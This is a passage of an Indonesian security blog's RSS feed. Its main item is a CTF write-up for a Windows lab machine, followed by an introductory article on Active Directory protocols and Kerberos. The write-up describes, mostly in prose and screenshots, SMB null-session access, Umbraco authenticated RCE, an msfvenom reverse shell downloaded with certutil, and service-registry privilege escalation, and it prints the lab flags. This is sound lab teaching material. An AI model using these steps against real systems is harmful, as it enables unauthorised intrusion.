<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="660" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-1024x660.png" alt="" class="wp-image-516" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-1024x660.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-300x193.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-768x495.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422.png 1212w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terdapat beberapa service yang open diantarannya ada HTTP dan SMB yang bisa kita jadikan untuk foothold atau pijakan awal sebelum melakukan exploitation, dan jika dibuka pada service HTTP terlihat terdapat default halaman setelah installation <em><strong>Umbraco CMS</strong></em> dan juga terdapat form login untuk authentikasi</p>



<figure class="wp-block-image size-large is-style-default"><img loading="lazy" decoding="async" width="1024" height="549" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-1024x549.png" alt="" class="wp-image-522" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-1024x549.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-300x161.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-768x411.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-1536x823.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632.png 1557w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini kita tidak mempunyai valid credential untuk login, selanjutnya kita coba cek service berikutnya yaitu SMB server</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="837" height="251" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238.png" alt="" class="wp-image-524" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238.png 837w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238-300x90.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238-768x230.png 768w" sizes="auto, (max-width: 837px) 100vw, 837px" /></figure>



<p>Ternyata terdapat vulnerability <em><strong>SMB null session</strong></em> artinya SMB tersebut mengizinkan authentikasi tanpa credential jadi kita bisa akses sharename tanpa memasukkan username/password, dan jika diperhatikan ada sharename yang tidak biasa yaitu <em><strong>DataManager</strong></em></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1021" height="288" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649.png" alt="" class="wp-image-525" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649.png 1021w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649-300x85.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649-768x217.png 768w" sizes="auto, (max-width: 1021px) 100vw, 1021px" /></figure>



<p>Setelah diakses ditemukannya file XLS dengan nama <em><strong>member_account.xlsx</strong></em>, kemudian kita akan buka pada document viewer</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="689" height="216" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-113131.png" alt="" class="wp-image-526" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-113131.png 689w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-113131-300x94.png 300w" sizes="auto, (max-width: 689px) 100vw, 689px" /></figure>



<p>Dokumen XLS tersebut berisikan informasi sensitive dari member Bhineka Tech yang juga menampilkan user, passsword beserta keahlian yang dimiliki beberapa member tetapi uniknya user dengan ID 3 berbeda dari yang lain yakni user tersebut menggunakan email dan jika kita lihat lagi pada login Umbraco diatas terdapat placeholder pada input username yaitu <em><strong>&#8220;Your username is usually your email&#8221;</strong></em> yang mengindikasikan jika username berupa email address, langsung saja kita coba login</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="526" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-1024x526.png" alt="" class="wp-image-527" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-1024x526.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-300x154.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-768x394.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-1536x788.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259.png 1855w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Berhasil masuk dashboard Administrator, dan langkah selanjutnya kita cek version dari CMS umbraco yang digunakan</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="687" height="459" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image.png" alt="" class="wp-image-528" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image.png 687w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-300x200.png 300w" sizes="auto, (max-width: 687px) 100vw, 687px" /></figure>



<p>Versi yang digunakan yaitu <em><strong>7.12.4</strong></em> dan jika kita melihat pada exploit database menggunakan searchsploit</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="141" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-1024x141.png" alt="" class="wp-image-529" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-1024x141.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-300x41.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-768x106.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-1536x211.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1.png 1868w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Ada vulnerability pada Umbraco versi <em><strong>7.12.4</strong></em> yaitu Remote Code Execution / RCE dengan kategori Authenticated yang berarti harus mempunyai privilege minimal untuk masuk dashboard, karena sudah didapatkan sebelumnya sekarang kita mulai untuk tahapan exploitation</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="476" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-1024x476.png" alt="" class="wp-image-530" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-1024x476.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-300x139.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-768x357.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247.png 1114w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terlihat berhasil melakukan code execution artinya exploit berhasil dan jika di inputkan beberapa command batch script dasar akan menampilkan output yang sesuai. </p>



<p>Karena tidak mungkin untuk melakukan command satu persatu dan bolak balik exploit jadi disini kita akan generate binary executable untuk reverse shell menggunakan msfvenom</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="149" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-1024x149.png" alt="" class="wp-image-532" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-1024x149.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-300x44.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-768x112.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2.png 1133w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Karena casenya disini public server jadi kita melakukan generate binary reverse shell dengan listener yang di set ke IP VPS atau jika tidak mempunyai VPS bisa juga melakukan tunneling atau port forwarding menggunakan ngrok dan semacamnya</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="236" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-1024x236.png" alt="" class="wp-image-535" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-1024x236.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-300x69.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-768x177.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-1536x353.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3.png 1873w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>sebelumnya aku sudah aktifkan python http server di port 8000 pada VPS  jadi disini kita tinggal download binary di server target menggunakan <em><strong>certutil </strong></em>yang akan disimpan didalam temporary directory dalam case windows ada di <em><strong>C:/windows/temp</strong></em>, kemudian kita execute binary jadi tinggal dipanggil full pathnya otomatis akan ter-eksekusi</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="758" height="287" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-121423.png" alt="" class="wp-image-536" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-121423.png 758w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-121423-300x114.png 300w" sizes="auto, (max-width: 758px) 100vw, 758px" /></figure>



<p>Reverse shell berhasil dengan listener di port 9999, selanjutnya kita baca user flag pada directory users dan dalam hal ini ternyata user yang ada diserver menggunakan username rama</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="723" height="354" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5.png" alt="Gambar ini memiliki atribut alt yang kosong; nama berkasnya adalah image-4.png" class="wp-image-539" style="width:798px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5.png 723w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5-300x147.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5-720x354.png 720w" sizes="auto, (max-width: 723px) 100vw, 723px" /></figure>



<p>User flag : <strong><em>&#8220;bhitech{KuL0_T14nG_J4W1}&#8221;</em></strong></p>



<p class="has-large-font-size"><em><strong>Privilege Escalation</strong></em></p>



<p>Selanjutnya kita diminta untuk membaca flag pada Administrator directory yang tentu saja akan access denied karena privilege user yang kita dapatkan merupakan Service Account yang tidak memiliki akses pada directory Administrator, jadi disini kita akan melakukan privilege escalation atau meningkatkan hak akses.</p>



<p>Sebenarnya ada banyak cara yang digunakan untuk enumeration pada tahapan post-exploitation pada windows sendiri, tapi disini kita akan automation saja menggunakan winpeas</p>



<p><a href="https://github.com/peass-ng/PEASS-ng/blob/master/winPEAS/winPEASexe/README.md">https://github.com/peass-ng/PEASS-ng/blob/master/winPEAS/winPEASexe/README.md</a></p>



<p>Jadi winpeas sendiri berfungsi untuk identifikasi service, component, kernel, scheduled task, registry dan lain lain jika terdapat suatu vulnerability ataupun misconfiguration yang bisa dimanfaatkan untuk melakukan Privilege Escalation</p>



<p>Download winpeas entah dengan menggunakan utility apapun bisa cURL ataupun certutil lalu jalankan</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="181" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-1024x181.png" alt="" class="wp-image-541" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-1024x181.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-300x53.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-768x136.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-1536x272.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7.png 1690w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini ditemukan suatu service dengan nama BhitechService yang dimana Authenticated Users atau user dalam machine tersebut dapat melakukan full control pada registry yang dimana ini sangat berbahaya karena attacker bisa mengganti binary executable pada registry service tersebut dengan malicious atau executable berbahaya</p>



<p>Seknarionya disini kita akan melakukan generate ulang binary reverse shell menggunakan msfvenom dengan listener port 9000, lalu kita ubah <em><strong>ImagePath</strong></em> dari registry BhitechService dengan binary reverse shell yang kita buat jadi saat service di restart otomatis akan dieksekusi sebagai NT/System</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="460" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-1024x460.png" alt="" class="wp-image-542" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-1024x460.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-300x135.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-768x345.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-1536x690.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8.png 1602w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Oke jadi disini menggunakan <em><strong>reg add</strong></em> yaitu command registry bawaan windows untuk replace binary ImagePath registry ke binary reverse shell yang kita buat, disini berhasil karena dari hasil enumeration dari winpeas Authenticated Users mempunyai full control pada registry BhitechService</p>



<p>Sekarang kita coba restart service menggunakan command <strong><em>net start BhitechService</em></strong> dan jangan lupa aktifkan netcat pada port 9000 yang kita buat tadi untuk dijadikan sebagai listener</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="611" height="183" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-124841.png" alt="" class="wp-image-543" style="width:815px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-124841.png 611w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-124841-300x90.png 300w" sizes="auto, (max-width: 611px) 100vw, 611px" /></figure>



<p>Untuk message dari output net start bisa dihiraukan yang terpenting kita berhasil mendapatkan shell sebagai <em><strong>NT/System</strong></em> atau privilege tertinggi pada windows machine</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="879" height="192" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9.png" alt="" class="wp-image-544" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9.png 879w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9-300x66.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9-768x168.png 768w" sizes="auto, (max-width: 879px) 100vw, 879px" /></figure>



<p>Sekarang kita baca flagnya pada directory Administrator</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="966" height="684" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034.png" alt="" class="wp-image-545" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034.png 966w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034-300x212.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034-768x544.png 768w" sizes="auto, (max-width: 966px) 100vw, 966px" /></figure>



<p>Root flag : <em><strong>bhitech{G0tt_Acc3ss_adm1n_m4TuR_NuWun_s4ng3t}</strong></em></p>



<p>Challenge solved rek, dan untuk tambahan sebenarnya masih ada teknik privilege escalation lain yang bisa digunakan karena casenya disini kita mendapatkan akses ke service account dan mempunyai 2 privilege penting yaitu <em><strong>SeAssignPrimaryTokenPrivilege</strong></em> dan <em><strong>SeImpersonatePrivilege</strong></em> yang bisa dimanfaatkan untuk melakukan <em><strong>token impersonation</strong></em> dan mendapatkan akses ke NT/System karena terlalu panjang mungkin akan dibahas lain kali jadi itu saja semoga bermanfaat.</p>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/">Windows Pentesting Bhitech &#8211; Write Up</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Kenalan dengan Active Directory</title>
		<link>https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/</link>
					<comments>https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Thu, 09 Jan 2025 08:09:03 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=494</guid>

					<description><![CDATA[<p>Halo jumpa lagi ya rek, semoga kalian sehat selalu. Nah jadi disini aku akan menjelaskan tentang Active Directory yang dimana akan dibahas secara teori dan untuk prakteknya kemungkinan akan aku buat di artikel selanjutnya tentang pentesting dan teknik serangan serta kerentanan pada Active Directory. Jadi apasih itu Active Directory ? mungkin banyak dari kalian ada [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/">Kenalan dengan Active Directory</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Halo jumpa lagi ya rek, semoga kalian sehat selalu. Nah jadi disini aku akan menjelaskan tentang Active Directory yang dimana akan dibahas secara teori dan untuk prakteknya kemungkinan akan aku buat di artikel selanjutnya tentang pentesting dan teknik serangan serta kerentanan pada Active Directory.</p>



<p>Jadi apasih itu Active Directory ? mungkin banyak dari kalian ada yang udah tau atau ada yang masih asing mendengar istilah Active Directory jadi daripada bingung ayo kita bahas</p>



<p>Active Directory ini bisa dikatakan suatu service berbasis direktori yang digunakan untuk mengelola resource dan infrastruktur dengan cara yang terstruktur. Maka dari itu Active Directory ini banyak di implementasikan pada perusahaan ataupun organisasi yang memiliki banyak komputer dan sumber daya karena menggunakan Active Directory ini memudahkan Administrator melakukan management maupun konfigurasi dengan cara terpusat/centralized.</p>



<p>Dalam Active Directory semua resource/sumber daya direpresentasikan menjadi suatu object dan object ini mencakup server, printer, komputer, domain, group dan user account. semua object ini akan dikelola oleh ADDS(Active Directory Domain Service) yang merupakan inti dari Active Directory itu sendiri. <em><strong>ADDS </strong></em>ini merupakan server yang mengatur semua konfigurasi dan rule/aturan resource pada jaringan didalam <em><strong>AD</strong></em> seperti keamanan, policy, permission dsb.</p>



<p>Lalu ada yang namanya <strong><em>Domain Controller</em></strong> yaitu merupakan server fisik atau computer yang menjalankan  service Active Directory, dengan kata lain <em><strong>Domain Controller</strong></em> ini bisa berupa hardware(server fisik) maupun virtual machine.</p>



<p>Dan tidak kalah pentingnya, pada active directory terdapat 2 konsep untuk identifikasi <em><strong>yaitu </strong></em>SPN dan <em><strong>UPN</strong></em>, gampangnya UPN itu merupakan identitas unik pada user dalam active directory yang berguna untuk mengenali dan identifikasi user contohnya &lt;username>@&lt;domain> atau xpl0dec@bhitech.corp sementara itu SPN digunakan untuk mengenali service / layanan pada Active Directory yang menggunakan kerberos(akan kita bahas nanti) dengan contoh &lt;service>/&lt;hostname>:&lt;port> atau MSSQL/bhitech:1433 disini kita mencontohkan dengan DB mssql dengan hostname bhitech di port 1433</p>



<p class="has-large-font-size"><strong>Cara Kerja Active Directory</strong></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="691" height="481" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/ad.jpg" alt="" class="wp-image-499" style="width:827px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/ad.jpg 691w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/ad-300x209.jpg 300w" sizes="auto, (max-width: 691px) 100vw, 691px" /></figure>



<p>Dalam Active Directory untuk mengatur object object di dalamnya terdapat struktrur hierarki dimana struktur hierarki ini mencakup komponen penting diantarannya:</p>



<p><em><strong>Domain</strong></em> : Direpresentasikan sama dengan domain name yang ada pada internet dengan menggunakan .(titik) seperti abc.com, bhitech.corp tetapi pengertian lebih luasnya domain ini digunakan untuk mengelompokkan object pada Active Directory, seperti yang kita bahas sebelumnya object itu mencakup user, group, printer, computer dan sumber daya lain</p>



<p><strong>Organizational units</strong>(OUs) : OUs ini cukup kompleks karena digunakan untuk mengatur dan mengelola object object pada Active Directory, sebagai contoh sederhana pada sebuah perusahaan pastinya memiliki banyak departement dan kita ambil 2 sebagai contoh yaitu marketing dan IT jadi fungsi OUs ini akan membagi hak akses dimana setiap departement akan diberikan OU misalkan OU marketing hanya diberikan akses untuk mengelola ke service yang menyediakan penjualan dan pembelian sementara OU IT diberikan mengelola akses ke server maupun <strong><em>Domain Controller</em></strong></p>



<p><em><strong>Forest</strong></em> :  Forest ini merupakan gabungan dari satu atau lebih domain dan domain bisa saling terhubung dan berbagi resource seperti pada gambar diatas yaitu abc.com bisa sharing directory dengan xyz.com begitupun sebaliknya</p>



<p><strong><em>Tree</em></strong> : Pada gambar diatas tree bisa kita sebut sebagai subdomain yaitu hierarki domain yang menggunakan namespace yang sama seperti abc.com yang memiliki tree asia.abc.com</p>



<p><strong><em>Group Policy Objects (GPOs)</em></strong> : Merupakan suatu aturan pada active directory yang diberikan kepada user sebagai contoh kita bisa memaksa user mengganti password sebulan sekali atau password user harus lebih dari 8 karakter menggunakan <em><strong>GPOs</strong></em></p>



<p><strong><em>Global Catalog</em></strong> : Secara sederhana sebuah database yang menyimpan semua informasi terkait domain pada suatu forest</p>



<p><strong><em>Trust Relationship</em></strong> : Dimana kita ingin menghubungkan atau berbagi resource lintas domain dari forest yang berbeda</p>



<p class="has-large-font-size"><strong><em>Protokol dan Authentication</em></strong></p>



<p>Active Directory menggunakan banyak protocol untuk keperluan fungsionalitas, authentication maupun authorization diantara lain ada LDAP, SMB, RPC, kerberos. Dan disini untuk keperluan pentesting kita akan membahas beberapa protokol yang perlu kalian diketahui</p>



<p><em><strong>LDAP</strong></em>: LDAP(Lightweight Directory Access Protocol) sendiri merupakan suatu protokol yang dipakai untuk mengakses dan mengelola data pada active directory </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="512" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-1024x512.png" alt="" class="wp-image-501" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-1024x512.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-300x150.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-768x384.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work.png 1200w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Jadi saat user atau service akan berkomunikasi dengan Active Directory user tersebut perlu melakukan serangkaian query pada LDAP protocol yang didalam LDAP sendiri terdapat banyak informasi mengenai object yang disimpan oleh Active Directory dan dapat kita akses menggunakan LDAP query. LDAP menggunakan TCP connection dan port defaultnya yaitu <strong>389</strong> dan <strong>636</strong>(dengan tambahan SSL/TLS)  </p>



<p><strong><em>SMB</em></strong> : Protocol smb digunakan untuk berbagi data dan file antar server pada jaringan, jadi menggunakan SMB kita bisa sharing directory yang berguna agar server lain dapat mendownload/upload pada server yang menjalankan SMB dan port default SMB ada di 445 </p>



<p><strong>RPC</strong> : RPC atau Remote Procedure Call yang berfungsi untuk komunikasi antar object di jaringan yang pada Active Directory RPC berguna untuk meminta suatu layanan ke layanan pada server lain dalam domain. Secara konsep hampir mirip dengan REST API tapi dengan arsitektur yang berbeda yakni dalam RPC kita bisa melakukan fungsi pada server lain yang seolah olah bersifat local</p>



<p><em><strong>NTLM</strong></em> :  Windows New Technology LAN Manager merupakan suatu protokol yang digunakan untuk authentikasi pada operating system windows, dan sebenarnya NTLM ini protokol lama yang sekarang sudah digantikan oleh kerberos karena dianggap sudah usang dan memiliki masalah security tapi meskipun itu masih banyak digunakan hingga sekarang</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="887" height="608" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol.png" alt="" class="wp-image-502" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol.png 887w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol-300x206.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol-768x526.png 768w" sizes="auto, (max-width: 887px) 100vw, 887px" /></figure>



<p>Cara kerjanya cukup sederhana yang disebut <em><strong>Challenge-Response</strong></em> yaitu pertama client meminta authentikasi ke server dan jika authentikasi valid maka server melakukan response &#8220;challenge&#8221; berupa nonce(angka acak) yang kemudian dikirimkan kembali pada client lalu client me-response dengan hash dari challenge yang diberikan server serta di gabungkan dengan hash password dari client</p>



<p><em><strong>Kerberos</strong></em>: Kerberos sekarang ini sudah menjadi protocol authentikasi default pada Active Directory dan pada mekanismenya sendiri juga lebih kompleks</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="632" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-1024x632.jpg" alt="" class="wp-image-503" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-1024x632.jpg 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-300x185.jpg 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-768x474.jpg 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-1536x947.jpg 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-2048x1263.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Kita perlu mengerti beberapa istilah untuk memahami komunikasi kerberos pada gambar diatas yaitu terkait dengan ticketing yang sangat penting kita pahami sebagai pentester, beberapa istilah terkait:</p>



<p><strong><em>KDC</em></strong>(Key Distribution Center) : Merupakan komponen penting pada protocol kerberos yaitu bertindak sebagai service pihak ketiga yang terpercaya(trusted)</p>



<p><em><strong>AS(<strong>Authentication service</strong>)</strong></em> : Yaitu suatu layanan / service yang memvalidasi authentikasi client pada kerberos</p>



<p><em><strong>TGT</strong></em>(Ticket Granting Ticket) : Merupakan ticket yang dikeluarkan oleh kerberos jika authentikasi awal berhasil </p>



<p><em><strong>TGS</strong></em>(Ticket Granting Server) : Merupakan komponen pada authentikasi kerberos yang berfungsi mengeluarkan ticket untuk mengakses layanan tertentu</p>



<p>Setelah kita tau istilah-istilah penting pada kerberos sekarang kita bahas mekanisme protocolnya</p>



<ol class="wp-block-list">
<li>Client melakukan authentikasi kerberos dan meminta TGT ke AS</li>



<li>Jika valid maka AS akan menerbitkan TGT dan TGT diberikan pada client</li>



<li>Lalu client kembali melakukan request ST(Service Ticket) pada kerberos TGS dengan membawa TGT </li>



<li>jika TGT valid maka TGS akan memberikan ST pada client</li>



<li>ST(Service Ticket) ini kemudian dipakai untuk akses ke service tertentu pada active directory seperti file server, email dsb</li>
</ol>



<p class="has-large-font-size"><strong><em>Penutup</em></strong></p>



<p>Disini kita sudah belajar mengenai konsep Active Directory dan berguna untuk keperluan pentesting yang mungkin akan aku bahas pada artikel selanjutnya, dan yang perlu ditekankan disini yaitu memiliki fundamental tentang system atau arsitektur itu sangat penting sebelum kita melangkah ke sisi security dan keamanan apalagi topik yang kompleks seperti Active Directory ini jadi semoga saja artikel ini dapat mudah dipahami tentunya semoga bermanfaat juga dan happy hacking, sekian.</p>



<p><em>&#8220;Learning never exhausts the mind.&#8221;</em> <strong>-Leonardo da Vinci</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/">Kenalan dengan Active Directory</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Bypass disable function using mod_cgi</title>
		<link>https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/</link>
					<comments>https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Mon, 09 Dec 2024 08:32:14 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
